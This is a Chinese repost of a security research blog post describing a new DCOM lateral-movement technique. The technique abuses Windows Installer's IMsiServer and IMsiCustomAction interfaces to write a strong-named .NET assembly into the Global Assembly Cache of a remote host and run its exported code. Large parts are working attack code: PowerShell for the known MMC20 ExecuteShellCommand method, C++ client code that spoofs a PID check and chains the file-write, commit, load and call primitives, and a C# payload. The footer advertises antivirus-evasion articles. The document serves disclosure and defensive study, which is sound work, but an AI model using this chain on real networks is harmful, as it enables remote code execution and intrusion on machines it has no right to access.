新型 DCOM 横向移动攻击
简介
这是一种强大的新 DCOM 横向移动攻击,该攻击允许将自定义 DLL 写入目标计算机,然后将它们加载到服务中,同时能够支持命令行参数。
这种攻击主要通过逆向IMsiServer COM 接口内部结构并滥用其功能完成。
这篇文章的会揭示这种攻击的原理中。同时还包括一个有效的 POC 工具,用于演示针对最新 Windows版本的攻击。
COM & DCOM 通信与数据通信
组件对象模型 (COM) 是基于Microsoft标准且可用于创建可交互的二进制软件组件。DCOM(分布式 COM)远程协议通过使用 RPC 提供用于创建、激活和管理远程计算机上的对象的工具,在网络上扩展了 COM 标准
对象、类和接口(Objects, Classes & Interfaces)
在 COM 中,对象是已编译代码的实例,它为系统的其余部分提供某些服务。 COM 对象的功能取决于其 COM 类实现的接口。
编译后的代码被定义为 COM 类,该类由全局唯一的类 ID ( CLSID ) 标识,该 ID 将类与其在文件系统中的部署(DLL 或 EXE)关联起来。
可以远程访问(使用 DCOM)的 COM 类使用另一个全局唯一标识符 (GUID) - 也就是AppID进行标识。
作为 C++ 类的 COM 接口
接口的 C++ 实现是通过类完成的。C++ 类被实现为结构体,其第一个成员指向该类支持的成员函数数组。这个数组称为虚拟表,简称vtable。
DCOM的研究历史
通过 DCOM 进行横向移动是渗透过程中众所周知的“事情”。早在2017年,当时Matt Nelson
首次披露了滥用MMC20.Application::ExecuteShellCommand
在远程系统上运行命令的情况。使用 Matt 设计的研究过程,研究人员发现了更多在远程计算机上公开执行的 DCOM 对象,其中包括:
-
• ShellBrowserWindow revealing ShellExecuteW, Navigate, and Navigate2 -
• Excel.Application revealing ExecuteExcel4Macro, RegisterXLL -
• Outlook.Application revealing CreateObject
类似的研究甚至通过自动化分析完成的,而且似乎大多数 DCOM 攻击面都得到了收敛 。 随着时间的推移,发现的攻击越来越少。在这篇博文中,我解释了如何测试研究过程以找到新的 DCOM 横向移动攻击。
研究DCOM的已知方法
寻找新的DCOM横向移动方法遵循以下步骤:
-
• 在计算机上的 AppID 中搜索具有默认启动和访问权限的条目(可以利用OleView .NET工具)。 -
• 使用上述条件找到的 AppID 表示具有本地管理员权限的用户可远程访问的 DCOM 对象。 -
• 通过PowerShell,可以轻松访问对象创建,显示接口方法和属性,并调用它们。 -
• 重复前面的步骤,直到找到可以运行自定义代码的方法。
在这里,我应用这些步骤来实现已知的MMC20.Application::ExecuteShellCommand
横向移动攻击:
-
• AppID 7E0423CD-1119-0928-900C-E6D4A52A0715
中的MMC20.Application类有默认的权限。 -
• 上面提到的 AppID对应到CLSID为49B2791A-B1AE-4C90-9B8E-E860BA07F889 -
• 在 PowerShell 中查看根据所述 CLSID 创建的对象
PS C:> $com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889")PS C:> $mmcApp = [System.Activator]::CreateInstance($com)PS C:> Get-Member-InputObject$mmcAppTypeName: System.__ComObject#{a3afb9cc-b653-4741-86ab-f0470ec1384c}
演示结果:
PS C:Windowssystem32> $com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889")PS C:Windowssystem32> $mmcApp = [System.Activator]::CreateInstance($com)PS C:Windowssystem32> Get-Member -InputObject $mmcApp TypeName:System.__ComObject#{a3afb9cc-b653-4741-86ab-f0470ec1384c}Name MemberType Definition---- ---------- ----------Help Method void Help ()Hide Method void Hide ()Load Method void Load (string)Quit Method void Quit ()Show Method void Show ()Document Property Document Document () {get}Frame Property Frame Frame () {get}UserControl Property int UserControl () {get} {set}VersionMajor Property int VersionMajor () {get}VersionMinor Property int VersionMinor () {get}Visible Property int Visible () {get}
-
• 然后对发现的属性进行逐一查看,就能找到允许 RCE 的ExecuteShellCommand方法
PS C:Windowssystem32> Get-Member -InputObject $mmcApp.DocumentTypeName:System.__ComObject#{225120d6-1e0f-40a3-93fe-1079e6a8017b}Name MemberType Definition---- ---------- ----------Close Method void Close (int)CreateProperties Method Properties CreateProperties ()Save Method void Save ()SaveAs Method void SaveAs (string)ActiveView Property View ActiveView () {get}Application Property _Application Application () {get}IsSaved Property int IsSaved () {get}Location Property string Location () {get}Mode Property DocumentMode Mode () {get} {set}Name Property string Name () {get} {set}RootNode Property Node RootNode () {get}ScopeNamespace Property ScopeNamespace ScopeNamespace () {get}SnapIns Property SnapIns SnapIns () {get}Views Property Views Views () {get}PS C:Windowssystem32> Get-Member -InputObject $mmcApp.Document.ActiveViewTypeName:System.__ComObject#{6efc2da2-b38c-457e-9abb-ed2d189b8c38}Name MemberType Definition---- ---------- ----------.....ExecuteScopeNodeMenuItem Method void ExecuteScopeNodeMenuItem (string, Variant)ExecuteSelectionMenuItem Method void ExecuteSelectionMenuItem (string)ExecuteShellCommand Method void ExecuteShellCommand (string, string, string, string)..........
-
• 最后,我们创建一个 DCOM 会话并调用我们找到的方法来完成攻击
$com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889", "desktop-vt78hy3s")$mmcApp = [System.Activator]::CreateInstance($com)$mmcApp.Document.ActiveView.ExecuteShellCommand("file.exe", "/c commandline", "c:filefolder",$null, 0)
新攻击方法的查询
使用这个方法,我开始寻找新的 DCOM 横向移动攻击。以下是我的发现:
-
• AppID 000C101C-0000-0000-C000-000000000046具有默认权限,OleView .NET 显示以下详细信息 -
• 托管在 Windows Installer 服务 ( msiexec.exe ) 上 -
• 托管名为 "Msi install server" 的 COM 对象,其 CLSID 等于 AppID -
• 该对象公开一个名为IMsiServer的接口,其 IID 等于 AppID -
• 类和接口在msi.dll中实现(从ProxyStubClsid32注册表中定义的路径) -
• 该对象的名称及其在安装程序服务中的位置引起了我的兴趣,继续使用 PowerShell 查询其方法:
结果描述了通用.NET对象方法,并且“TypeName”字段不指向IMsiServer IID。这意味着PowerShell运行时无法查询IMsiServer对象的信息;我们无法通过这种方式搜索攻击。我们的MMC20.Application 的成功示例和我们当前的IMsiServer之间的区别在于IDispatch接口,前者实现了该接口,而后者没有实现。
IDispatch接口
IDispatch是一个基本的 COM 接口,允许脚本语言(VB、PowerShell)和高级语言 (.NET) 与实现它的 COM 对象进行交互,而无需事先了解内部细节。它通过公开描述实现对象并与实现对象交互的统一方法来实现这一点。这些方法包括:
-
• IDispatch::GetIDsOfNames将方法或属性的名称映射到名为 DISPID 的整数值 -
• IDispatch::Invoke根据 DISPID 调用对象的方法之一。
所有已知的 DCOM 横向移动攻击都建立在记录在案的基于 IDispatch 的接口上,允许通过 PowerShell 轻松交互。与 IDispatch 交互的便利性使目前安全研究对大部分可能的攻击视而不见。
为了解决这个问题并进一步研究缺乏文档且不支持 IDispatch 的IMsiServer ,我们需要设计一种不依赖于 PowerShell 的替代方法。
逆向接口定义
要了解有关IMsiServer 的更多信息,我们必须检查包含接口定义的 DLL - msi.dll:
-
• 使用 IDA 并在 msi.dll 中搜索表示 IMsiServer - 1C 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46
的 IID 的十六进制字节,我们找到一个名为IID_IMsiServer的符号。
-
• 交叉引用IID_IMsiServer ,我们找到 CMsiServerProxy::QueryInterface
,它是IMsiServer接口的客户端实现的一部分。 -
• 交叉引用 CMsiServerProxy::QueryInterface
显示 .rdata 部分中接口的 vtable:
利用这些数据和一些额外的定义,我重新创建了 IMsiServer 接口:
structIMsiServer : IUnknown{virtual iesEnum InstallFinalize( iesEnum iesState, void* riMessage, boolean fUserChangedDuringInstall)= 0;virtual IMsiRecord* SetLastUsedSource( const ICHAR* szProductCode, constwchar_t* szPath, boolean fAddToList, boolean fPatch)= 0;virtual boolean Reboot()= 0;virtualintDoInstall( ireEnum ireProductCode, const ICHAR* szProduct, const ICHAR* szAction,const ICHAR* szCommandLine, const ICHAR* szLogFile,int iLogMode, boolean fFlushEachLine, IMsiMessage* riMessage, iioEnum iioOptions , ULONG, HWND__*, IMsiRecord& )= 0;virtual HRESULT IsServiceInstalling()= 0;virtual IMsiRecord* RegisterUser( const ICHAR* szProductCode, const ICHAR* szUserName,const ICHAR* szCompany, const ICHAR* szProductID)= 0;virtual IMsiRecord* RemoveRunOnceEntry( const ICHAR* szEntry)= 0;virtual boolean CleanupTempPackages( IMsiMessage& riMessage, bool flag)= 0;virtual HRESULT SourceListClearByType(const ICHAR* szProductCode, const ICHAR*, isrcEnum isrcType)= 0;virtual HRESULT SourceListAddSource( const ICHAR* szProductCode, const ICHAR* szUserName, isrcEnum isrcType,const ICHAR* szSource)= 0 ;virtual HRESULT SourceListClearLastUsed( const ICHAR* szProductCode, const ICHAR* szUserName)= 0;virtual HRESULT RegisterCustomActionServer( icacCustomActionContext* picacContext, constunsignedchar* rgchCookie, constint cbCookie, IMsiCustomAction* piCustomAction, unsignedlong* dwProcessId, IMsiRemoteAPI** piRemoteAPI, DWORD* dwPrivileges)= 0;virtual HRESULT CreateCustomActionServer( const icacCustomActionContext icacContext, constunsignedlong dwProcessId, IMsiRemoteAPI* piRemoteAPI,const WCHAR* pvEnvironment, DWORD cchEnvironment, DWORD dwPrivileges, char* rgchCookie, int* cbCookie, IMsiCustomAction** piCustomAction, unsignedlong* dwServerProcessId,DWORD64 unused1, DWORD64 unused2)= 0; [snip]}
远程安装?
DoInstall函数立即脱颖而出,成为执行横向移动(在远程计算机上安装 MSI)的候选者。然而,在CMsiConfigurationManager::DoInstall
上对其服务器端实现的检查,发现它不可能远程实现:
// Simplified pseudo codeCMsiConfigurationManager::DoInstall([snip]){ [snip]if (!OpenMutexW(SYNCHRONIZE, 0, L"Global\_MSIExecute"))return ERROR_INSTALL_FAILURE; [snip]}
此代码意味着当调用IMsiServer::DoInstall的 DCOM 调用时,远程服务器将检查名为Global_MSIExecute的互斥体是否存在。该互斥体默认未打开,因此调用将失败。
Msi.dll 通过我们的IMsiServer接口无法访问的函数,来创建此互斥锁,因此我们必须找到一个不同的函数来滥用IMsiServer 。
远程自定义操作
我的第二个滥用候选者是:
HRESULT IMsiServer::CreateCustomActionServer( const icacCustomActionContext icacContext, const unsigned long dwProcessId, IMsiRemoteAPI* piRemoteAPI, const WCHAR* pvEnvironment, DWORD cchEnvironment, DWORD dwPrivileges, char* rgchCookie, int* cbCookie, IMsiCustomAction** piCustomAction, unsigned long* dwServerProcessId, bool unkFalse);
它创建输出 COM 对象-IMsiCustomAction** piCustomAction
,根据其名称,它可以在我的远程目标上调用“自定义操作”。逆向CMsiConfigurationManager::CreateCustomActionServer
中的服务器端代码,我们了解到它模拟 DCOM 客户端并使用其身份创建一个子MSIEXEC.exe ,该子进程托管结果IMsiCustomAction** piCustomAction
. 在IMsiCustomAction上搜索msi.dll中的符号会显示其 IID:
使用该符号执行与发现IMsiServer相同的交叉引用,我们可以重新创建IMsiCustomAction的接口定义:
IID IID_IMsiCustomAction = { 0x000c1025,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };// Interface is trimmed for simplictystructIMsiCustomAction : IUnknown{virtual HRESULT PrepareDLLCustomAction(ushort const *,ushort const *,ushort const *,ulong,uchar,uchar,_GUID const *,_GUID const *,ulong *)=0;virtual HRESULT RunDLLCustomAction(ulong,ulong *)= 0;virtual HRESULT FinishDLLCustomAction(ulong)= 0;virtual HRESULT RunScriptAction(int,IDispatch *,ushort const *,ushort const *,ushort,int *,int *,char * *)= 0; [snip]virtual HRESULT URTAddAssemblyInstallComponent(ushort const*,ushort const*, ushort const*)= 0;virtual HRESULT URTIsAssemblyInstalled(ushort const*, ushort const*, int*, int*, char**)= 0;virtual HRESULT URTProvideGlobalAssembly(ushort const*, ulong, ulong*)= 0;virtual HRESULT URTCommitAssemblies(ushort const*, int*, char**)= 0;virtual HRESULT URTUninstallAssembly(ushort const*, ushort const*, int*, char**)= 0;virtual HRESULT URTGetAssemblyCacheItem(ushort const*, ushort const*, ulong, int*, char**)= 0;virtual HRESULT URTCreateAssemblyFileStream(ushort const*, int)= 0;virtual HRESULT URTWriteAssemblyBits(char *,ulong,ulong *)= 0;virtual HRESULT URTCommitAssemblyStream()= 0; [snip]virtual HRESULT LoadEmbeddedDLL(ushort const*, uchar)= 0;virtual HRESULT CallInitDLL(ulong,ushort const *,ulong *,ulong *)= 0;virtual HRESULT CallMessageDLL(UINT, ulong, ulong*)= 0;virtual HRESULT CallShutdownDLL(ulong*)= 0;virtual HRESULT UnloadEmbeddedDLL()= 0; [snip]};
像RunScriptAction和RunDLLCustomAction这样的名字看起来IMsiCustomAction可能是我们的宝库。但是,在打开它之前,我们必须首先通过 DCOM 调用IMsiServer::CreateCustomActionServer创建它。让我们构建我们的攻击客户端:
// Code stripped from remote connection and ole setupCOSERVERINFO coserverinfo = {};coserverinfo.pwszName = REMOTE_ADDRESS;coserverinfo.pAuthInfo = pAuthInfo_FOR_REMOTE_ADDRESS;CLSID CLSID_MsiServer = { 0x000c101c,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };IID IID_IMsiServer = CLSID_MsiServer;MULTI_QI qi ={};qi.pIID = &IID_IMsiServer; // the interface we aim to getHRESULT hr = CoCreateInstanceEx(CLSID_MsiServer, NULL, CLSCTX_REMOTE_SERVER, &coserverinfo, 1, &qi) ;IMsiServer* pIMsiServerObj = qi.pItf;
此时pIMsiServerObj指向我们的客户端IMsiServer接口。现在我们需要为IMsiServer::CreateCustomActionServer创建正确的参数 值得注意的论点:
-
• dwProcessId预计包含客户端 PID,并在服务器端被视为本地 PID。如果我们提供真实的客户端 PID,服务器端将无法在远程目标上找到它,并且调用将会失败。我们可以欺骗这个检查并设置dwProcessId =4,指向始终存在的系统进程。 -
• PiRemoteAPI应该指向IMsiRemoteAPI实例,是初始化过程中最棘手的。从 msi.dll 中搜索符号可以得到该接口的 IID。 IID IID_IMsiRemoteApi = { 0x000c1033,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
但是,由于CLSID_MSISERVER未实现IID_IMsiRemoteApi ,因此我们无法通过调用直接创建它:HRESULT hr = CoCreateInstance(CLSID_MSISERVER, NULL, CLSCTX_INPROC_SERVER, IID_IMsiRemoteApi ,&piRemoteAPI) ;
发现可用的CLSID
注意:本节介绍技术逆向工程过程。我们将演示如何正确调用IMsiServer::CreateCustomActionServer 。如果您对详细的深入了解不感兴趣,请随时跳至“安全操作”。 ” 要创建IMsiRemoteApi的实例,我们需要找到实现它的类的CLSID 。我们首先在 msi.dll 中搜索名为CLSID_MsiRemoteApi的符号。然而,这次没有返回结果:
我们尝试使用交叉引用来跟踪IID_IMsiRemoteApi在 msi.dll 中创建的位置:
-
• 交叉引用IID_IMsiRemoteApi,我们找到CMsiRemoteAPI::QueryInterface ,它是IMsiRemoteApi接口的一部分 -
• 搜索CMsiRemoteAPI::QueryInterface会找到 .rdata 部分中IMsiRemoteApi的 vtable,该表标有名为??_7CMsiRemoteAPI@@6B@ 的符号: -
• 搜索??_7CMsiRemoteAPI@@6B@会找到CMsiRemoteAPI::CMsiRemoteAPI,它是IMsiRemoteApi实例的构造函数 -
• 搜索构造函数会导致CreateMsiRemoteAPI ,这是一个调用它的工厂方法 -
• 搜索工厂方法显示它是名为rgFactory的工厂方法数组中的第 9 个元素,该数组位于 .rdata 部分: -
• 搜索rgFactory的用法显示它在CModuleFactory::CreateInstance中使用:
我们可以看到CModuleFactory::CreateInstance从索引处的rgFactory中提取一个方法,并调用它来创建一个对象并通过outObject返回它.如果在同一索引处,从rgCLSID (代码片段中的绿线)提取的 GUID 等于输入参数_GUIDinCLSID ,则会发生这种情况。rgCLSID是一个全局变量,指向 .rdata 部分中的 CLSID 数组。
该数组中的第 9 个元素是 CLSID,它将导致调用CreateMsiRemoteAPI ( rgFactory的第 9 个成员): CLSID CLSID_MsiRemoteApi = { 0x000c1035,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
这意味着如果使用CLSID_MsiRemoteApi调用CModuleFactory::CreateInstance ,它将创建我们所需的IMsiRemoteAPIpiRemoteAPI实例。
现在我们剩下的任务是从客户端代码调用CModuleFactory::CreateInstance 。
类工厂(IClassFactory)
虽然CModuleFactory::CreateInstance
不是公共导出,但交叉引用它可以找到CModuleFactory的 vtable:
vtable中的第一个方法是QueryInterface实现,这意味着CModuleFactory是一个接口实现。接下来的两个 Nullsub 是IUnkown::AddRef
和IUnkown::Release
的空实现,接下来的两个方法是:
-
• CreateInstance -
• LockServer
在MSDN中搜索这些方法会发现IClassFactory是一个接口,它定义了在实现 DLL 中创建 COM 对象的工厂设计模式。该接口的功能可通过名为DllGetClassObject的方法访问,该方法由实现 DLL(包括msi.dll)导出。
这就是我们调用msi.dll!DllGetClassObject
来创建目标IMsiRemoteAPI* piRemoteAPI
的方式:
// code stripped from error handlingtypedefHRESULT(*DllGetClassObjectFunc)( REFCLSID rclsid, REFIID riid, LPVOID* ppv);// we dont need the definition of IMsiRemoteApi if we just want to instantiate it typedef IUnknown IMsiRemoteApi; HMODULE hmsi = LoadLibraryA("msi.dll");IClassFactory* pfact;IUnknown* punkRemoteApi;IMsiRemoteApi* piRemoteAPI;DllGetClassObjectFunc DllGetClassObject = (DllGetClassObjectFunc)GetProcAddress(hdll, "DllGetClassObject");// creating the CLSID_MsiRemoteApi classHRESULT hr = DllGetClassObject(CLSID_MsiRemoteApi, IID_IClassFactory, (PVOID*)&pfact);// piRemoteAPI initilized to IMsiRemoteApi*hr = pfact->CreateInstance(NULL, CLSID_MsiRemoteApi, (PVOID*)&punkMsiRemoteApi);hr = punkMsiRemoteApi->QueryInterface(IID_IMsiRemoteApi, reinterpret_cast<void**>(piRemoteAPI));
我们现在可以调用IMsiServer::CreateCustomActionServer
来创建目标IMsiCustomAction** piCustomAction
实例:
IMsiRemoteAPI* pRemApi = // created above;constint cookieSize = 16; // a constant size CreateCustomActionServer anticipatesicacCustomActionContext icacContext = icac64Impersonated; // an enum valueconstunsignedlong fakeRemoteClientPid = 4;unsignedlong outServerPid = 0;IMsiCustomAction* pMsiAction = nullptr; // CreateCustomActionServer's outputint iRemoteAPICookieSize = cookieSize;char rgchCookie[cookieSize];WCHAR* pvEnvironment = GetEnvironmentStringsW();DWORD cEnv = GetEnvironmentSizeW(pvEnvironment);HRESULT msiresult = pIMsiServerObj->CreateCustomActionServer(icacContext, fakeRemoteClientPid, pRemApi, pvEnvironment, cEnv, 0, rgchCookie, &iRemoteAPICookieSize, &pMsiAction,&outServerPid,0, 0);
受保护的行动
我们新创建的IMsiCustomAction* pMsiAction
允许我们从远程 MSIEXEC.EXE 进程运行“自定义操作”,现在我们的重点是从IMsiCustomAction中找到一种可以执行代码的方法 - 为我们提供了一种新的横向移动技术。 正如我们之前所看到的, IMsiCustomAction包含几个有前途的函数名称,例如RunScriptAction
和RunDLLCustomAction
。
逆向这些函数表明它们允许加载和运行我们想要的 DLL 的导出或执行内存中的自定义脚本内容(VBS 或 JS)!看起来好得令人难以置信?
Windows 通过在这些函数开始时进行简单检查来阻止在远程 DCOM 上下文中调用此功能:
if(RPCRT4::I_RpcBindingInqLocalClientPID(0, &OutLocalClientPid)&&OutLocalClientPid != RegisteredLocalClientPid){return ERROR_ACCESS_DENIED;}
事实证明,当客户端处于远程状态(在 DCOM 会话期间)时, I_RpcBindingInqLocalClientPID会失败,并且我们会被阻止。
我们需要寻找不存在此安全检查的函数。
不安全的加载原语(Unsecured Load Primitive )
现在,我们将通过交叉引用I_RpcBindingInqLocalClientPID
的用法并探索不使用它的IMsiCustomAction
函数,将搜索重点放在不安全的IMsiCustomAction
方法上。满足此条件的下一个函数是IMsiCustomAction::LoadEmbeddedDll(wchar_t const* dllPath, bool debug) ;。
反转这个函数可以发现:
-
• LoadEmbeddedDLL在dllPath参数上调用Loadlibrary并保存其句柄。 -
• 尝试解析dllPath的三个导出并保存它们的地址。 -
• InitializeEmbeddedUI -
• ShutdownEmbeddedUI -
• EmbeddedUIHandler -
• LoadEmbeddedDLL在不存在的导出上不会失败
测试证实我们在远程系统上的每个 DLL 上都有一个远程加载原语!
pMsiAction->LoadEmbeddedDLL(L"C:WindowsSystem32wininet.dll",false);
这足以横向移动吗?不是靠它自己。简单地从目标系统加载一个良性的预先存在的 DLL 并不能让我们控制 DLL 在加载时运行的代码。但是,如果我们可以远程将 DLL 写入计算机并提供其LoadEmbeddedDLL的路径,我们就会发现完整的攻击。
使用IMsiCustomAction我的目标是找到一个对远程计算机的 HD 的自给自足的写入原语。
远程写原语
IMsiCustomAction接口中的函数名称组合使我相信远程写入原语是可能的:IMsiCustomAction::URTCreateAssemblyFileStream
逆向IMsiCustomAction::URTCreateAssemblyFileStream显示在其之前必须运行几个初始化函数。
以下序列将允许我们创建一个文件流,写入并提交它:
-
• 下面的函数将初始化调用下一个函数所需的数据
HRESULT IMsiCustomAction::URTAddAssemblyInstallComponent(wchar_t const* UserDefinedGuid1,wchar_t const* UserDefinedGuid2,wchar_t const* UserDefinedName);
-
• 以下函数创建IAssemblyCacheItem*的内部实例,这是一个管理文件流的记录对象
RESULT IMsiCustomAction::URTGetAssemblyCacheItem(wchar_t const* UserDefinedGuid1,wchar_t const* UserDefinedGuid2,ulong zeroed,int* pInt,char** pStr);
-
• 然后URTCreateAssemblyFileStream调用IAssemblyCacheItem::CreateStream并使用上面提供的参数创建IStream实例。未来文件的名称将是FileName 。它将把IStream保存到内部变量中。
HRESULT IMsiCustomAction::URTCreateAssemblyFileStream( wchar_t const* FileName,int Format);
-
• 下面的函数调用IStream::Write将ulong cb中指定的字节数从const char* pv写入文件流,并返回pcbWritten中写入的字节数。
HRESULT IMsiCustomAction::URTWriteAssemblyBits( const char* pv, ulong cb, ulong* pcbWritten);
-
• 最后,以下函数使用IStream::Commit将 Stream 内容提交到新文件。 HRESULT IMsiCustomAction::URTCommitAssemblyStream();
我们将准备一个虚拟的payload.dll ,并使用之前的函数序列将其上传到目标机器:
char* outc = nullptr;int outi = 0;LPCWSTR mocGuid1 = L"{13333337-1337-1337-1337-133333333337}";LPCWSTR mocGuid2 = L"{13333338-1338-1338-1338-133333333338}";LPCWSTR asmName = L"payload.dll";LPCWSTR assmblyPath = L"c:localpathtoyourpayload.dll";hr = pMsiAction->URTAddAssemblyInstallComponent(mocGuid1, mocGuid2, asmName);hr = pMsiAction->URTGetAssemblyCacheItem(mocGuid1, mocGuid2, 0,&outi ,&outc);hr = pMsiAction->URTCreateAssemblyFileStream(assmblyPath, STREAM_FORMAT_COMPLIB_MANIFEST);HANDLE hAsm = CreateFileW(assmblyPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);DWORD asmSize, sizeRead;GetFileSize(hAsm, NULL);char* content = newchar[asmSize];readStatus = ReadEntireFile(hAsm, asmSize, &sizeRead, content);ulong written = 0;hr = pMsiAction->URTWriteAssemblyBits(content, asmSize, &written);hr = pMsiAction->URTCommitAssemblyStream();
整个序列成功;然而,我们没有得到任何关于payload.dll的写入位置的信息。在远程计算机上搜索名为Payload.dll的文件会显示其路径:
重新运行我们的代码会在类似的路径中生成payload.dll :
这些路径的格式为C:assembletmp[RANDOM_8_LETTERS]payload.dll
.由于无法预测RANDOM_8_LETTERS ,我们不能只是在上述路径上调用加载原语IMsiCustomAction::LoadEmbeddedDll
。 我们需要找到一种方法将Payload.dll放在可预测的路径中, IMsiCustomAction再次将我们联系起来
控制路径
我们逆向的下一个方法是IMsiCustomAction::URTCommitAssemblies
,我们发现它使用流上记录的函数IAssemblyCacheItem::Commit
:此函数将 .NET 程序集安装到全局程序集缓存 (GAC),位于C:WindowsMicrosoft.NET assemblyGAC*
中的可预测路径下。这使得使用IMsiCustomAction::URTCommitAssemblies
成为我们的新目标。存储在 GAC 中的程序集必须使用强名称进行标识,即使用公私密钥对创建的签名,以确保程序集的唯一性。考虑到这一点,为了成功使用URTCommitAssemblies并将有效负载植入可预测的路径,我们将把 Payload.dll 更改为具有强名称的 .NET 程序集 DLL:
// example x64 dummy POC for .NET payload.dll// a strong name should be set for the dll in the VS compilation settingsnamespacepayload{publicclassClass1 {publicstaticvoidDummyNotDLLMain() { } }}
我们更新代码以在新负载上使用IMsiCustomAction::URTCommitAssemblies并重新运行它:
HRESULT URTCommitAssemblies(wchar_tconst* UserDefinedGuid1, int* pInt, char** pStr);int outIntCommit = 0;char* outCharCommit = nullptr;// mocGuid1 is the same GUID we created for invoking URTAddAssemblyInstallComponenthr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);
Payload.dll现已上传至:
根据Payload.dll的强名称详细信息分析此路径上的每个标记,我们得出已安装程序集的 GAC 路径结构(适用于 .NET 版本 => 4):C:WindowsMicrosoft.NETassemblyGAC_[assembly_bitness][assembly_name]v4.0_[assembly_version]__[public_key_token][assembly_name].dll
我们已成功将程序集 DLL 安装到 GAC 中的可预测路径并找出路径结构。现在让我们将我们的努力融入到攻击中:
// resuming from our last code snippets// our payload is the dummy .NET payload.dll// URTCommitAssemblies commits payload.dll to the GAChr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);std::wstring payload_bitness = L"64"; // our payload is x64std::wstring payload_version = L"1.0.0.0"; // sigcheck.exe -n payload.dllstd::wstring payload_assembly_name = L"payload";std::wstring public_key_token = L"136e5fbf23bb401e"; // sn.exe -T payload.dll// forging all elements to the GAC pathstd::wstring payload_gac_path = std::format(L"C:\Windows\Microsoft.NET\assembly\GAC_{0}\{1}\v4.0_{2}__{3}\{1}.dll", payload_bitness, payload_assembly_name, payload_version,public_key_token);hr = pMsiAction->LoadEmbeddedDLL(payload_gac_path.c_str(), 0);
更新后的攻击代码成功运行,为了确认我们的有效负载已加载到远程 MSIEXEC.exe,我们在 Windbg 中调试它并查询:
成功!但我们还没有完全完成,因为 .NET 程序集在本机进程上没有“DllMain”功能,因此没有代码正在运行。有几种可能的解决方法,但我们的解决方案是将导出添加到我们的 Payload.dll 程序集中。至于调用此导出, IMsiCustomAction再次为我们提供了帮助。
运行 .NET 导出
正如我所提到的, IMsiCustomAction::LoadEmbeddedDLL在加载请求的 DLL 后尝试解析某些导出并保存结果。当使用结果地址搜索代码时,我们揭示了三个IMsiCustomAction方法,每个方法都从加载的 DLL 中调用相应的导出:
-
• IMsiCustomAction::CallInitDLL invokes InitializeEmbeddedUI -
• IMsiCustomAction::CallShutdownDLL invokes ShutdownEmbeddedUI -
• IMsiCustomAction::CallMessageDLL invokes EmbeddedUIHandler
每个方法为各自的导出提供不同的参数,我们将使用IMsiCustomAction::CallInitDLL ,它提供最丰富的参数集:
HRESULT CallInitDLL(ulong intVar, PVOID pVar, ulong* pInt, ulong* pInitializeEmbeddedUIReturnCode);// CallInitDLL calls InitializeEmbeddedUI with the following args:DWORD InitializeEmbeddedUI(ulong intVar, PVOID pVar, ulong* pInt)
ulong intVar和PVOID pVar的组合使我们能够非常灵活地运行我们的有效负载。例如, PVOID pVar可以指向我们的有效负载将执行的 shellcode,而ulong intVar将是其大小。对于此 POC,我们将在Payload.dll中创建一个简单的InitializeEmbeddedUI实现,用于显示包含攻击者控制内容的消息框。
我们将使用“ .export ”IL描述符将InitializeEmbeddedUI从程序集中导出到本机调用者(msi.dll) 我们现在可以展示payload.dll的最终POC:
using System;using System.Diagnostics;using System.Runtime.InteropServices;using RGiesecke.DllExport; // [DllExport] wraps ".export"namespacepayload{publicclassClass1 { [DllImport("wtsapi32.dll", SetLastError = true)]staticexternboolWTSSendMessage(IntPtr hServer, [MarshalAs(UnmanagedType.I4)] int SessionId, String pTitle, [MarshalAs(UnmanagedType.U4)] int TitleLength, String pMessage, [MarshalAs(UnmanagedType.U4)] int MessageLength, [MarshalAs(UnmanagedType.U4)] int Style, [MarshalAs(UnmanagedType.U4)] int Timeout, [MarshalAs(UnmanagedType.U4)] outint pResponse, bool bWait); [DllExport]publicstaticintInitializeEmbeddedUI(int messageSize,[MarshalAs(UnmanagedType.LPStr)] string attackerMessage, IntPtr outPtr) {string title = "MSIEXEC - GAC backdoor installed"; IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;// The POC will display a message to the first logged on user in the targetint WTS_CURRENT_SESSION = 1;int resp = 1;// Using WTSSendMessage to create a messagebox form a service process at the users desktop WTSSendMessage(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, title, title.Length, attackerMessage, messageSize, 0, 0, out resp, false);return1337; } }}
我们的 DCOM 上传和执行攻击的最后几行:
// runs after our call to pMsiAction->LoadEmbeddedDLL, loading our payload assemblyulong ret1, ret2;std::string messageToVictim = "Hello from DCOM Upload & Execute";hr = pMsiAction->CallInitDLL(messageToVictim.length(), (PVOID)messageToVictim.c_str(), &ret1, &ret2);
运行完整的攻击代码将在远程目标PC上弹出一个消息框:
完整代码https://github.com/deepinstinct/DCOMUploadExec
局限性
-
• 攻击者和受害者计算机必须位于同一域或林中。 -
• 攻击者和受害者计算机必须与DCOM 强化补丁一致,要么在两个系统上都应用该补丁,要么在两个系统上都没有该补丁。 -
• 上传和执行的程序集有效负载必须具有强名称 -
• 上传和执行的程序集有效负载必须是 x86 或 x64(不能是 AnyCPU)
原文链接:https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor
推荐阅读:
部署属于自己的EDR对抗环境让数字x60杀软核晶失效的自适应模式对抗杀软的父进程检测银狐木马:杀死核晶状态下的x60
更多干货文章工具等资源,欢迎加入下方交流圈👇:
这是一个纯粹,开放,前沿的技术交流社区,成员主要有互联网大厂安全部门任职的成员,乙方红队专家,以及正在学习入门的小白等,社区涉及的领域知识包括但不限于渗透,免杀开发,红蓝对抗,安全建设,考试认证,岗位招聘等等方面,还可以结识很多志同道合的朋友,提升自己的技术栈,开阔视野,提升眼界👇👇👇
欢迎加入交流圈
扫码获取更多精彩
原文始发于微信公众号(黑晶):新型 DCOM 横向移动攻击
- 左青龙
